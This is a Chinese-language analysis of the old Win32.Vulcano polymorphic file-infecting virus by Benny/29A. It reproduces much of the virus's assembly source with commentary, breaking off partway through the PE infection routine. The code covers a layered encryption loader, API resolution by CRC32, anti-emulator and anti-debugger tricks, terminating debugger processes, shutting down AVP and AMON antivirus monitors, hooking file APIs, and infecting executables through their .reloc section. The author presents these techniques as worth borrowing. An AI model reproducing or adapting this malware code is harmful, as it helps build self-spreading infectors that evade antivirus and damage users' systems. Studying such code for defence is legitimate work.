经典怀旧(一) - Vulcano病毒分析
前言:
Vulcano病毒是29A的Benny在29A第4期发布的。虽然是一个老病毒。和ZMIST一样是我本人最喜欢病毒之一
其中使用的技术和思路很值得我们借鉴。
目录:
1.病毒概括
2.加载器分析
3.病毒体分析
4.BCE32压缩函数分析
5.BPE32变形引擎分析
6.借鉴的技巧
正文:
1.病毒概括
Vulcano首先是一个多态病毒。利用了BPE32变形引擎, 使用了多线程通讯等技巧。其中还包括一些分段加密,
CRC32校验保护的应用.在入口点方面选用了HOOK引入表的技巧。这个病毒只能感染有重定位节的程序,在代码
中可以看到重定位节必须处在最后节位置才可以进行感染。在寻找API地址用API名字的CRC值来替代直接的明文。
以及利用INTEL未文档的的指令(SALC - 0D6h)来反虚拟环境的技巧.(虽然现在来讲这个OPCODE已经不是什么秘密)。
很多很不错的思路在其中都有体验。这个病毒最出彩的地方要算是只做模糊入口点方面了.模糊入口点挺简单就是
HOOK了引入表的函数,而复杂设置它的是之前被HOOK的一些函数.如果宿主程序调用操作文件方面的API,例如FindFirstFile
FileCopy等函数,病毒从中把控制权接管过来,进行感染.(真希望被感染的是其他病毒 呵呵,以毒传毒).
再感染过程中在设置入口点的HOOK函数.
2.加载器分析
启动加载代码
.code ;start of code section
first_gen: ;first generation code
;; 这里是加载器部分,只是加密病毒并且跳入病毒进行执行而已
;second layer of encryption
;; 这里是简单的加密加密
;; vulcano采用了两层加密的原则.第一层采用BCE32进行加密,第二层
;; 取了(virus_end-encrypted+3)/4的大小进行一个简单的xor 1操作
;; 的加密
mov esi, offset encrypted ;encrypt from...
mov ecx, (virus_end-encrypted+3)/4 ;encrypt how many bytes...
encrypt1:
lodsd ;get dword
;简单的异或上1
xor eax, 1 ;encrypt
mov [esi-4], eax ;and store it
loop encrypt1 ;
;; 这里调用BCE32压缩函数进行压缩.
mov esi, offset compressed ;source
mov edi, offset _compressed_ ;destination
mov ecx, virus_end-compressed+2 ;size
mov ebx, offset workspace1 ;workspace1
mov edx, offset workspace2 ;workspace2
call BCE32_Compress ;Compress virus body!
dec eax
;; 保存BCE32要解压的大小,c_szie在.data节中定义
mov [c_size], eax ;save compressed virus size
;; 执行病毒
push 0 ;parameter for GetModuleHandleA
call VulcanoInit ;call virus code
;ExitProcess被病毒进行HOOK,在余下的代码中会进行分析解释
push 0 ;parameter for ExitProcess
call ExitProcess ;this will be hooked by virus l8r
;; vulcano使用TASM编译的.可以直接将代码写到数据节内,这点比MASM灵活的多。也是我喜欢它的原因之一.
;; TASM比MASM在语法方面要灵活很多,梦里梦到BORLAND的官网上有它的新版本下载.(付费我也愿意)
;; 不过BORLAND一直没有再继续开发的意思。
.data ;data section
VulcanoInit: ;Start of virus
;; Vulcano在这里初始化
;; 这里首先用SALC未公开的文档的OPCODE进行ANTI仿真机
;; 这里的SALC是一宏在代码之前定义的
;; SALC equ <db 0D6h> ;SALC opcode
;;
SALC ;undoc. opcode to fuck emulators
push dword ptr [offset _GetModuleHandleA] ;push original API
;; 以下的语句是将ddAPI直接指向 [offset _GetModuleHandleA] 这种编码技巧
;; 很值得我们借鉴。及方便又能达到节省空间的目的。Vulcano编码中大量使用了
;; 这种技巧。
ddAPI = dword ptr $-4
push 400000h ;push image base
ImgBase = dword ptr $-4
;; 保存所有寄存器
;; 在vulcano病毒中EIP基地址永远保存在ebp寄存器中
;; 以下是解密过程最终启动后会跳入到decompressed中执行病毒真正的
;; 恶意代码
pushad ;store all registers
call gd ;get delta offset
gd: pop ebp ;...
lea esi, [ebp + _compressed_ - gd] ;where is compressed virus
;stored
lea edi, [ebp + decompressed - gd] ;where will be virus
;decompressed
mov ecx, 0 ;size of compressed virus
c_size = dword ptr $-4
;Decompression routine from BCE32 starts here.
;; 这里为BCE32解压函数
;; 这里是解压函数等稍后在BCE32压缩函数中一通与压缩函数进行分析。
;; 在以下的代码中有一条 jmp decompressed 的语句当解压后直接跳入
;; 解压的病毒中进行运行.这里省略了BCE32的代码与后一同在BCE32压缩
;; 模块分析中进行分析
;; BCE32解压函数代码 ...
;; 从这里跳入解密后的病毒 ---
jmp decompressed
;; BCE32解压函数代码 ...
;; 这里是vulcano存放病毒数据的地方
;; _compressed_这里是存放压缩后的病毒
_compressed_ db virus_end-compressed+200h dup (?) ;here is stored compressed
;virus body
;; 解压后的病毒以及病毒使用的一些私有数据.在 db size_unint dup (?) 中定义
decompressed: db virus_end-compressed dup (?) ;here decompressed
db size_unint dup (?) ;and here all uninitialized
;variables
virtual_end: ;end of virus in memory
ends
compressed: ;compressed body starts here
;; 建立一个异常处理函数,指向jmp_host.其后会进行分析
;; 建立后调用call gdlta.到gdlta中进行分析...(同志们翻页了)
@SEH_SetupFrame <jmp jmp_host> ;setup SEH frame
call gdlta ;calculate delta offset
;; 以下是病毒所用的一些地址记录。这里记录的都是到gdelta的一个偏移
;; 病毒所需API的地址
gdelta: dd ddFindFirstFileA-gdelta ;addresses
dd ddFindNextFileA-gdelta ;of variables
dd ddFindClose-gdelta ;where will
dd ddSetFileAttributesA-gdelta ;be stored
dd ddSetFileTime-gdelta ;addresses of APIs
dd ddCreateFileA-gdelta
dd ddCreateFileMappingA-gdelta
dd ddMapViewOfFile-gdelta
dd ddUnmapViewOfFile-gdelta
dd ddCreateThread-gdelta
dd ddWaitForSingleObject-gdelta
dd ddCloseHandle-gdelta
dd ddCreateMutexA-gdelta
dd ddReleaseMutex-gdelta
dd ddOpenMutexA-gdelta
dd ddSleep-gdelta
dd ddVirtualProtect-gdelta
dd ddGetCurrentProcessId-gdelta
dd ddOpenProcess-gdelta
dd ddTerminateProcess-gdelta
dd ddLoadLibraryA-gdelta
dd ddGetProcAddress-gdelta
dd ddFreeLibrary-gdelta
dd ? ;end of record
;; Hook函数的地址
newHookers:
dd newFindFirstFileA-gdelta ;addresses of API hookers
dd newFindNextFileA-gdelta
dd newCopyFileA-gdelta
dd newCopyFileExA-gdelta
dd newCreateFileA-gdelta
dd newCreateProcessA-gdelta
dd newDeleteFileA-gdelta
dd newGetFileAttributesA-gdelta
dd newGetFullPathNameA-gdelta
dd new_lopen-gdelta
dd newMoveFileA-gdelta
dd newMoveFileExA-gdelta
dd newOpenFile-gdelta
dd newSetFileAttributesA-gdelta
dd newWinExec-gdelta
dd newExitProcess-gdelta
dd newExitThread-gdelta
dd newGetLastError-gdelta
dd newCloseHandle-gdelta
dd ? ;end of record
;; 被Hook的API原来的地址
oldHookers:
dd oldFindFirstFileA-gdelta ;addresses, where will be
dd oldFindNextFileA-gdelta ;stored original
dd oldCopyFileA-gdelta ;API callers
dd oldCopyFileExA-gdelta
dd oldCreateFileA-gdelta
dd oldCreateProcessA-gdelta
dd oldDeleteFileA-gdelta
dd oldGetFileAttributesA-gdelta
dd oldGetFullPathNameA-gdelta
dd old_lopen-gdelta
dd oldMoveFileA-gdelta
dd oldMoveFileExA-gdelta
dd oldOpenFile-gdelta
dd oldSetFileAttributesA-gdelta
dd oldWinExec-gdelta
dd oldExitProcess-gdelta
dd oldExitThread-gdelta
dd oldGetLastError-gdelta
dd oldCloseHandle-gdelta
;; 这里就是病毒真正要开始的地方
;; 第一条语句将gdelta的地址放入ebp中
gdlta: pop ebp ;get delta offset
;; 首先解密第2层加密的地方,异或1,长度为(virus_end-encrypted+3)/4
;; 这里使用了一个小技巧来对抗仿真换了一下选择子
lea esi, [ebp + encrypted - gdelta] ;get start of encrypted code
mov ecx, (virus_end-encrypted+3)/4 ;number of dwords to encrypt
push es ;save selector
push ds
pop es ;ES=DS
decrypt:lodsd ;load dword
xor eax, 1 ;decrypt it
mov es:[esi-4], eax ;save dword with AntiAV (usage of
loop decrypt ;selectors)
;; 第2层加密的地方
encrypted: ;encrypted code starts here
pop es ;restore selector
;; crc32prot 这里是被CRC保护的位置,病毒在这里进行校验
lea esi, [ebp + crc32prot - gdelta] ;start of CRC32 protected code
mov edi, virus_end-crc32prot ;size of that
call CRC32 ;calculate CRC32
cmp eax, 05BB5B647h ;check for consistency
;; 被CRC32保护的位置
crc32prot:
;; 如果校验值不一样则跳入到jmp_host中
jne jmp_host ;jump to host if breakpoints set and such
;; 检查是否是Pentium系列的主机
;Pentium+ check
pushad
pushfd ;save EFLAGS
pop eax ;get them
mov ecx, eax ;save them
or eax, 200000h ;flip ID bit in EFLAGS
push eax ;store
popfd ;flags
pushfd ;get them back
pop eax ;...
xor eax, ecx ;same?
je end_cc ;shit, we r on 486-
xor eax, eax ;EAX=0
inc eax ;EAX=1
cpuid ;CPUID
and eax, 111100000000b ;mask processor family
cmp ah, 4 ;is it 486?
je end_cc ;baaaaaaad
popad
;; 以下这段代码可以ANTI老版本的NodICE(比99年还老)
;; 对于现在???
mov eax, ds ;this will fuck
push eax ;some old versions
pop ds ;of NodICE
mov ebx, ds
xor eax, ebx
jne jmp_host
;; 获取所需的API地址
;; 这里取了一些通常的Kernel32.dll的ImageBase
;; 调用get_base验证ImageBase的值
mov eax, 77F00000h ;WinNT 4.0 k32 image base
call get_base
jecxz k32_found ;we got image base
mov eax, 77E00000h ;Win2k k32 image base
call get_base
jecxz k32_found ;we got image base
mov eax, 77ED0000h ;Win2k k32 image base
call get_base
jecxz k32_found ;we got image base
mov eax, 0BFF70000h ;Win95/98 k32 image base
call get_base
test ecx, ecx
jne jmp_host ;base of k32 not found, quit
;; 返回到 k32_found 标签
;; 利用ret跳入,对抗反汇编器
push cs
lea ebx, [ebp + k32_found - gdelta] ;continue on another label
push ebx
retf ;fuck u emulator! :)
;; 出错处理,弹出所有保存的寄存器,并
;; 跳入到jmp_host标签执行
end_cc: popad ;restore all registers
jmp jmp_host ;and jump to host
db 'Win32.Vulcano by Benny/29A' ;little signature :)
;; 获取到kernel32.dll的句柄后遍历从kernel32.dll的引出表
;; 取得所需API的地址.取地址的时候.API的名字是用CRC32的值
;; 进行校验的,这里利用了堆栈的一些技巧。第一条语句获取了
;; 当前宿主程序的ImageBase
k32_found:
mov ebx, [esp.cPushad+8] ;get image base of app
;; 将当前宿主程序的ImageBase写入到GMHA标签地址处
mov [ebp + GMHA - gdelta], ebx ;save it
;; ebx指向当前程序的PE头
add ebx, [ebx.MZ_lfanew] ;get to PE header
;; esi中存放的要取的API地址的字符串CRC32的值
lea esi, [ebp + crcAPIs - gdelta] ;start of CRC32 API table
mov edx, ebp ;get table of pointers
;; edi指向到存放地址的偏移
s_ET: mov edi, [edx] ;get item
;; 如果判断时候到达最后一个存放的位置,如果为0则达到
;; 也表明取得所有API地址
test edi, edi ;is it 0?
;; 搜索完毕后跳入 end_ET标签.
je end_ET ;yeah, work is done
;; edi中为存放的偏移,ebp为当前的EIP,相加
;; edi为存放偏移的空间地址
add edi, ebp ;normalize
push eax ;save EAX
call SearchET ;search for API
stosd ;save its address
test eax, eax ;was it 0?
pop eax ;restore EAX
;; 如果SearchET返回eax = 0 则表明出错
je jmp_host ;yeah, error, quit
;; 如果为非0则CRC32表的指针移动,存放偏移表的指针移动
add esi, 4 ;correct pointers
add edx, 4 ;to pointers...
jmp s_ET ;loop
;; 确定是否是kernel32.dll的ImageBase
;; 一个简单的判断,eax中存放的为事先
;; 存入的ImageBase的值.然后利用判断
;; MZ标志和PE标志来确定是否是正确的
;; PE结构
get_base:
pushad ;save all registers
;; 安装异常处理,出错到err_gbase标号
@SEH_SetupFrame <jmp err_gbase> ;setup SEH frame
xor ecx, ecx ;set error value
inc ecx
cmp word ptr [eax], IMAGE_DOS_SIGNATURE ;is it EXE?
jne err_gbase ;no, quit
dec ecx ;yeah, set flag
err_gbase: ;and quit
;; 移除异常处理,ecx中1为出错,0为成功
@SEH_RemoveFrame ;remove SEH frame
;; 利用pushad返回到ecx
mov [esp.Pushad_ecx], ecx ;save flag
popad ;restore all registers
ret ;and quit from procedure
;; 当获取完所有所需API的地址,流程将跳入此.
;; 这里主要的作用是开辟一条线程来进行当前宿主
;; 程序的引入表HOOK
end_ET: lea eax, [ebp + tmp - gdelta] ;now we will create new
push eax ;thread to hide writing to
xor eax, eax ;Import table
push eax
;; 将所用API地址的偏移表作为参数
;; 传递给新的线程
push ebp ;delta offset
lea edx, [ebp + NewThread - gdelta] ;address of thread procedure
push edx
push eax ;and other shit to stack
push eax
mov eax, 0
;; 这里是一个很猥琐的技巧,可以在自己的代码中
;; 进行应用
ddCreateThread = dword ptr $-4
call eax ;create thread!
test eax, eax ;is EAX=0?
;; 开辟线程失败则退出
je jmp_host ;yeah, quit
;; 要入第一个eax是给CloseHandle传参数
;; 其后等待这个线程执行完毕
push eax ;parameter for CloseHandle
push -1 ;infinite loop
push eax ;handle of thread
call [ebp + ddWaitForSingleObject - gdelta] ;wait for thread termination
call [ebp + ddCloseHandle - gdelta] ;close thread handle
;now we will create space in shared memory for VLCB structure
;; 创建一个VLCB结构在共享内存
call @VLCB
db 'VLCB',0 ;name of shared area
@VLCB: push 2000h ;size of area
push 0
push PAGE_READWRITE
push 0
;; 创建一个交换文件的映射
push -1 ;SWAP FILE!
call [ebp + ddCreateFileMappingA - gdelta] ;open area
test eax, eax
je jmp_host ;quit if error
xor edx, edx
push edx
push edx
push edx
push FILE_MAP_WRITE
push eax
call [ebp + ddMapViewOfFile - gdelta] ;map view of file to address
xchg eax, edi ;space of virus
test edi, edi
;; 如果映射出错则跳入 end_gd1 标签处
je end_gd1 ;quit if error
mov [ebp + vlcbBase - gdelta], edi ;save base address
;now we will create named mutex
;; 创建一个互斥体,互斥名随机
call @@@1 ;push address of name
@@1: dd 0 ;random name
@@@1: RDTCS ;get random number
mov edx, [esp] ;get address of name
shr eax, 8 ;terminate string with \0
mov [edx], eax ;and save it
;; esi指向互斥体名
mov esi, [esp] ;get address of generated name
push 0
push 0
mov eax, 0
ddCreateMutexA = dword ptr $-4
call eax ;create mutex
test eax, eax
;; 创建失败则跳入end_gd2
je end_gd2 ;quit if error
;now we will initialize VLCB structure
;; 初始化VLCB结构
xor edx, edx ;EDX=0
;; edi保存的VLCB共享内存
mov eax, edi ;get base of VLCB
;; VLCB的标志
mov [eax.VLCB_Signature], 'BCLV' ;save signature
;now we will initialize record for thread
;; 20个通信频道
mov ecx, 20 ;20 communication channels
;; 检查当前记录结构是否被使用,如果被使用则进入下一个
sr_t: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 ;check handle
jne tnext ;if already reserved, then try next
mov esi, [esi] ;get name of mutex
mov [edi.VLCB_TSep.VLCB_THandle], esi ;save it
;; 互斥体的ID号
mov [ebp + t_number - gdelta], edx ;and save ID number of mutex
;; 创建线程,这里创建后则跳入到宿主中进行执行
;; 线程中进行等待当宿主程序执行到被HOOK的函数时
;; 通过对以上线程的操作来进行一下步操作
lea eax, [ebp + tmp - gdelta] ;create new thread
push eax ;for IPC
xor eax, eax
push eax
push ebp
lea edx, [ebp + mThread - gdelta] ;address of thread procedure
push edx
push eax
push eax
call [ebp + ddCreateThread - gdelta] ;create new thread
xchg eax, ecx
jecxz end_gd3 ;quit if error
;; 如果有任何错误则跳入到宿主程序中
jmp_host:
;移除SEH处理程序
@SEH_RemoveFrame ;remove SEH frame
mov eax, [esp.cPushad+4] ;save address of previous
mov [esp.Pushad_eax], eax ;API caller
popad ;restore all regs
add esp, 8 ;repair stack pointer
push cs ;save selector
push eax ;save offset of API caller
retf ;jump to host :)
;; 下一个VLCB结构,移动edi指针
tnext: add edi, VLCB_TSize ;get to next record
;; 互斥体ID号自增
inc edx ;increment counter
loop sr_t ;try again
jmp jmp_host ;quit if more than 20 viruses r in memory
end_gd3:push esi
call [ebp + ddCloseHandle - gdelta] ;close mutex
end_gd2:push dword ptr [ebp + vlcbBase - gdelta]
call [ebp + ddUnmapViewOfFile - gdelta] ;unmap VLCB
end_gd1:push edi
call [ebp + ddCloseHandle - gdelta] ;close mapping of file
jmp jmp_host ;and jump to host
gtDelta:call mgdlta ;procedure used to getting
;; 可以利用此方法的扩展随机产生单字节opcode去影响后面的指令
;; 从而达到ANTI-反汇编的目的
;; mgdelta标记和ebp在病毒后面用来定位地址
mgdelta:db 0b8h ;fuck u disassemblers
mgdlta: pop ebp ;get it
;; 这里也进行了一个模糊的跳入,跳入之前压入堆栈的地址
ret ;and quit
;; 被Hook的函数们,被HOOK的函数大多都与文件操作有关
;; 这些函数被用来检查文件时候可以被感染,以及感染文件
newFindFirstFileA: ;hooker for FindFirstFileA API
push dword ptr [esp+8] ;push parameters
push dword ptr [esp+8] ;...
c_api oldFindFirstFileA ;call original API
p_file: pushad ;store all registers
call gtDelta ;get delta
mov ebx, [esp.cPushad+8] ;get Win32 Find Data
call Check&Infect ;try to infect file
popad ;restore all registers
ret 8 ;and quit
newFindNextFileA:
push dword ptr [esp+8] ;push parameters
push dword ptr [esp+8] ;...
c_api oldFindNextFileA ;call previous API
jmp p_file ;and continue
;; 这段函数对以下一些操作文件的API的支持
process_file:
pushad ;store all registers
call gtDelta ;get delta offset
lea esi, [ebp + WFD2 - mgdelta] ;get Win32_Find_Data
push esi ;save it
push dword ptr [esp.cPushad+0ch] ;push offset to filename
call [ebp + ddFindFirstFileA - mgdelta] ;find that file
inc eax
je end_pf ;quit if error
dec eax
xchg eax, ecx ;handle to ECX
mov ebx, esi ;WFD to EBX
call Check&Infect ;check and infect it
push ecx
call [ebp + ddFindClose - mgdelta] ;close find handle
end_pf: popad ;restore all registers
ret ;and quit
;generic hookers for some APIs
newCopyFileExA:
call process_file
j_api oldCopyFileExA
newCopyFileA:
call process_file
j_api oldCopyFileA
newCreateFileA:
call process_file
j_api oldCreateFileA
newCreateProcessA:
call process_file
j_api oldCreateProcessA
newDeleteFileA:
call process_file
j_api oldDeleteFileA
newGetFileAttributesA:
call process_file
j_api oldGetFileAttributesA
newGetFullPathNameA:
call process_file
j_api oldGetFullPathNameA
new_lopen:
call process_file
j_api old_lopen
newMoveFileA:
call process_file
j_api oldMoveFileA
newMoveFileExA:
call process_file
j_api oldMoveFileExA
newOpenFile:
call process_file
j_api oldOpenFile
newSetFileAttributesA:
call process_file
j_api oldSetFileAttributesA
newWinExec:
call process_file
j_api oldWinExec
;; 打开一个设备驱动
open_driver:
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push ebx
call [ebp + ddCreateFileA - mgdelta] ;open driver
ret
;; 关闭设备驱动
close_driver:
push eax ;close its handle
call [ebp + ddCloseHandle - mgdelta]
ret
;; 检测调试器相关
common_stage: ;infect files in curr. directory
pushad
call gtDelta ;get delta offset
mov ecx, fs:[20h] ;get context debug
jecxz n_debug ;if zero, debug is not present
k_debug:mov eax, 0
ddGetCurrentProcessId = dword ptr $-4
call eax ;get ID number of current process
call vlcb_stuph ;common stuph
lea esi, [ebp + data_buffer - mgdelta]
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
mov ebx, VLCB_Debug1 ;kill debugger
call get_set_VLCB ;IPC!
vlcb_stuph:
xor edx, edx ;random thread
dec edx
mov ecx, VLCB_SetWait ;set and wait for result
ret
n_debug:call vlcb_stuph ;common stuph
lea esi, [ebp + data_buffer - mgdelta]
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
mov ebx, VLCB_Debug2 ;check for SoftICE
call get_set_VLCB ;IPC!
mov eax, dword ptr [esi.WFD_szAlternateFileName] ;get result
dec eax
test eax, eax
je endEP ;quit if SoftICE in memory
call vlcb_stuph ;common stuph
lea esi, [ebp + data_buffer - mgdelta]
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
mov ebx, VLCB_Monitor ;kill monitors
call get_set_VLCB ;IPC!
lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data
push ebx ;store its address
call star
db '*.*',0 ;create mask
star: mov eax, 0
ddFindFirstFileA = dword ptr $-4
call eax ;find file
inc eax
je endEP ;if error, then quit
dec eax
mov [ebp + fHandle - mgdelta], eax ;store handle
call Check&Infect ;and try to infect file
findF: lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data
push ebx ;store address
push_LARGE_0 ;store handle
fHandle = dword ptr $-4
mov eax, 0
ddFindNextFileA = dword ptr $-4
call eax ;find next file
xchg eax, ecx ;result to ECX
jecxz endEP2 ;no more files, quit
call Check&Infect ;try to infect file
jmp findF ;find another file
endEP2: push dword ptr [ebp + fHandle - mgdelta];store handle
mov eax, 0
ddFindClose = dword ptr $-4
call eax ;close it
endEP: popad
ret
;; 当程序退出时运行.检验调试器是否存在并且感染当前目录下文件
newExitProcess: ;hooker for ExitProcess API
pushad
call common_stage ;infect files in current directory
call gtDelta ;get delta offset
mov edx, [ebp + t_number - mgdelta] ;get ID number of thread
push edx
mov ecx, VLCB_SetWait ;set and wait for result
lea esi, [ebp + data_buffer - mgdelta]
mov dword ptr [esi.WFD_szAlternateFileName], ebp
mov ebx, VLCB_Quit ;terminate thread
call get_set_VLCB ;IPC!
pop edx ;number of thread
imul edx, VLCB_TSize ;now we will
push VLCB_TSize/4 ;erase thread
pop ecx ;record
add edi, edx ;from VLCB
add edi, VLCB_TSep
xor eax, eax
rep stosd ;...
popad
j_api oldExitProcess ;jump to original API
;next hookers
newExitThread:
call common_stage
j_api oldExitThread
newCloseHandle:
call common_stage
j_api oldCloseHandle
newGetLastError:
call common_stage
j_api oldGetLastError
;; 反AMON AVP monitor
;; 原理就是好寻找窗体,之后向窗体发送退出消息
Monitor:pushad ;store all registers
call szU32 ;push address of string USER32.dll
db 'USER32',0
szU32: mov eax, 0
ddLoadLibraryA = dword ptr $-4 ;Load USER32.dll
call eax
xchg eax, ebx
test ebx, ebx
je end_mon2 ;quit if error
call FindWindowA ;push address of string FindWindowA
db 'FindWindowA',0
FindWindowA:
push ebx ;push lib handle
mov eax, 0
ddGetProcAddress = dword ptr $-4 ;get address of FindWindowA API
call eax
xchg eax, esi
test esi, esi
je end_mon ;quit if error
call PostMessageA ;push address of string PostMessageA
db 'PostMessageA',0
PostMessageA:
push ebx
call [ebp + ddGetProcAddress - mgdelta] ;get address of PostMessageA
xchg eax, edi
test edi, edi
je end_mon ;quit if error
mov ecx, 3 ;number of monitors
call Monitors ;push address of strings
db 'AVP Monitor',0 ;AVP monitor
db 'Amon Antivirus Monitor',0 ;AMON english version
db 'Antiv韗usov?monitor Amon',0 ;AMON slovak version
Monitors:
pop edx ;pop address
k_mon: pushad ;store all registers
xor ebp, ebp
push edx
push ebp
call esi ;find window
test eax, eax
je next_mon ;quit if not found
push ebp
push ebp
push 12h ;WM_QUIT
push eax
call edi ;destroy window
next_mon:
popad ;restore all registers
push esi
mov esi, edx
@endsz ;get to next string
mov edx, esi ;move it to EDX
pop esi
loop k_mon ;try another monitor
end_mon:push ebx ;push lib handle
mov eax, 0
ddFreeLibrary = dword ptr $-4
call eax ;unload library
end_mon2:
popad ;restore all registers
jmp d_wr ;and quit
;; 这段代码用来实现检查在95与NT下的softice
Debug2: lea ebx, [ebp + sice95 - mgdelta] ;address of softice driver string
call open_driver ;open driver
inc eax ;is EAX==0?
je n_sice ;yeah, SoftICE is not present
dec eax
call close_driver ;close driver
jmp d_wr ;and quit
n_sice: lea ebx, [ebp + siceNT - mgdelta] ;address of softice driver string
call open_driver ;open driver
inc eax
je n2_db ;quit if not present
dec eax
call close_driver ;close driver
jmp d_wr ;and quit
;; 这段代码用来通过调试的进程ID来结束调试器的进程
Debug1: push dword ptr [esi.WFD_szAlternateFileName] ;push ID number of process
push 0
push 1
mov eax, 0
ddOpenProcess = dword ptr $-4
call eax ;open process
test eax, eax
jne n1_db
n2_db: call t_write ;quit if error
jmp m_thrd
n1_db: push 0
push eax
mov eax, 0
ddTerminateProcess = dword ptr $-4 ;destroy debugged process :)
call eax
jmp t_write
;; 中断通讯的主要线程处理程序
;; 这个毒比较出彩的地方
mThread:pushad ;main IPC thread
@SEH_SetupFrame <jmp end_mThread> ;setup SEH frame
call gtDelta ;get delta
;; 指向call getDelta后跳入到此进行真正的执行
;; m_thrd是一个自修改的地方,用于确定自己的线程
;; ID号
m_thrd: mov edx, 0 ;get thread ID number
t_number = dword ptr $-4
;; ecx中保存了等待信号
mov ecx, VLCB_WaitGet
;; esi中保存了一个临时缓冲的指针
lea esi, [ebp + data_buffer - mgdelta]
;; 设置数据并等待
call get_set_VLCB ;wait for request
;; 如果等到请求则以此判断请求
dec ecx
;; 退出
jecxz Quit ;quit
dec ecx
;; 检查文件是否可以感染
jecxz Check ;check file
cmp ecx, 1
;; 感染文件
je Infect ;check and infect file
cmp ecx, 2
;; 检查调试器
je Debug1 ;check for debugger
;; 检查调试器
cmp ecx, 3
je Debug2 ;check for SoftICE
;; 检查AV monitors
cmp ecx, 4
je Monitor ;kill AV monitors
push 0
call [ebp + ddSleep - mgdelta] ;switch to next thread
jmp m_thrd ;and again...
Quit: call t_write ;write result
end_mThread:
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from thread
t_write:xor ecx, ecx ;set result
inc ecx
t_wr: inc ecx
mov dword ptr [esi.WFD_szAlternateFileName], ecx ;write it
mov ecx, VLCB_SetWait ;set and wait
mov edx, [ebp + t_number - mgdelta] ;this thread
call get_set_VLCB ;IPC!
ret
Check: @SEH_SetupFrame <jmp err_sCheck> ;setup SEH frame
call CheckFile ;check file
jecxz err_sCheck ;quit if error
_c1_ok: @SEH_RemoveFrame ;remove SEH frame
call t_write ;write result
jmp m_thrd ;and quit
err_sCheck:
@SEH_RemoveFrame ;remove SEH frame
d_wr: xor ecx, ecx
call t_wr ;write result
jmp m_thrd ;and quit
;; 感染算法
Infect: @SEH_SetupFrame <jmp _c1_ok> ;setup SEH frame
call InfectFile ;check and infect file
jmp _c1_ok ;and quit
InfectFile:
lea esi, [esi.WFD_szFileName] ;get filename
pushad
xor eax, eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push esi
mov eax, 0
ddCreateFileA = dword ptr $-4
call eax ;open file
inc eax
je r_attr ;quit if error
dec eax
mov [ebp + hFile - mgdelta], eax ;save handle
xor edx, edx
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
mov eax, 0
ddCreateFileMappingA = dword ptr $-4
call eax ;create file mapping
xchg eax, ecx
jecxz endCreateMapping ;quit if error
mov [ebp + hMapFile - mgdelta], ecx ;save handle
xor edx, edx
push edx
push edx
push edx
push FILE_MAP_WRITE
push ecx
mov eax, 0
ddMapViewOfFile = dword ptr $-4
call eax ;map view of file
xchg eax, ecx
jecxz endMapFile ;quit if error
mov [ebp + lpFile - mgdelta], ecx ;save base address
jmp nOpen
;; 这里当感染完毕后做的一些事情
endMapFile:
push_LARGE_0 ;store base address
lpFile = dword ptr $-4
mov eax, 0
ddUnmapViewOfFile = dword ptr $-4
call eax ;unmap view of file
endCreateMapping:
push_LARGE_0 ;store handle
hMapFile = dword ptr $-4
call [ebp + ddCloseHandle - mgdelta] ;close file mapping
;将修改时间重新写回
lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta]
push eax
lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta]
push eax
lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta]
push eax
push dword ptr [ebp + hFile - mgdelta]
mov eax, 0
ddSetFileTime = dword ptr $-4
call eax ;set back file time
push_LARGE_0 ;store handle
hFile = dword ptr $-4
call [ebp + ddCloseHandle - mgdelta] ;close file
;将文件属性重新设置
r_attr: push dword ptr [ebp + data_buffer - mgdelta]
lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta]
push esi ;filename
call [ebp + ddSetFileAttributesA - mgdelta] ;set back file attributes
jmp c_error ;and quit
;; 这里是感染的开始,ecx保存的是宿主文件的在内存的映射地址-pMem
nOpen: mov ebx, ecx
cmp word ptr [ebx], IMAGE_DOS_SIGNATURE ;must be MZ
jne endMapFile
mov esi, [ebx.MZ_lfanew]
add esi, ebx
lodsd
cmp eax, IMAGE_NT_SIGNATURE ;must be PE\0\0
jne endMapFile
cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+
jne endMapFile
mov ax, [esi.FH_Characteristics]
test ax, IMAGE_FILE_EXECUTABLE_IMAGE ;must be executable
je endMapFile
test ax, IMAGE_FILE_DLL ;mustnt be DLL
jne endMapFile
test ax, IMAGE_FILE_SYSTEM ;mustnt be system file
jne endMapFile
mov al, byte ptr [esi.OH_Subsystem]
test al, IMAGE_SUBSYSTEM_NATIVE ;and mustnt be driver (thanx GriYo !)
jne endMapFile
;; 最少是两个节,才感染
movzx ecx, word ptr [esi.FH_NumberOfSections] ;must be more than one section
dec ecx
test ecx, ecx
je endMapFile
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
movzx edx, word ptr [esi.FH_SizeOfOptionalHeader]
lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER]
;; edi为当前最后一节的节表
add edi, esi ;get to section header
;; 如果没有重定义节则不感染
lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4]
mov eax, [edx]
test eax, eax
je endMapFile ;quit if no relocs
;; 如果有重定位节则判断重定位节是不是处于最后一节,如果不是则退出
mov ecx, [edi.SH_VirtualAddress]
cmp ecx, eax
jne endMapFile ;is it .reloc section?
;; 如果重定位节处于最后一节,则判断它的文件对齐大小是否小于1a00h
;; 大于等于则退出
cmp [edi.SH_SizeOfRawData], 1a00h
jb endMapFile ;check if .reloc is big enough
;; 清除重定位表在数据目录的记录
pushad
xor eax, eax
mov edi, edx
stosd ;erase .reloc records
stosd
popad
;; ebx中存放的是pMem
mov eax, ebx ;now we will try to
xor ecx, ecx ;patch
it_patch:
pushad ;one API call
;; 获取要打补丁函数的CRC32值
mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta] ;get CRC32
